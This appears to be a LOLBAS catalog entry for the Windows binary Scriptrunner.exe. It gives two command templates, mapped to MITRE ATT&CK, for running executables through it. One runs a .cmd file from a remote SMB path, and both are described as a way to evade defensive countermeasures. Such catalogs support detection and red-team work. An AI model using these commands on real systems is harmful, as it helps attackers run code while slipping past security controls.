CatalogLOLBAS

LOL · Binary

Scriptrunner.exe

2 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Executes executable

Use Execute binary through proxy binary to evade defensive counter measures

Scriptrunner.exe -appvscript {PATH:.exe}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1202

Execute

ExecutionWindows

Executes cmd file from remote server

Use Execute binary through proxy binary from external server to evade defensive counter measures

ScriptRunner.exe -appvscript {PATH_SMB:.cmd}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218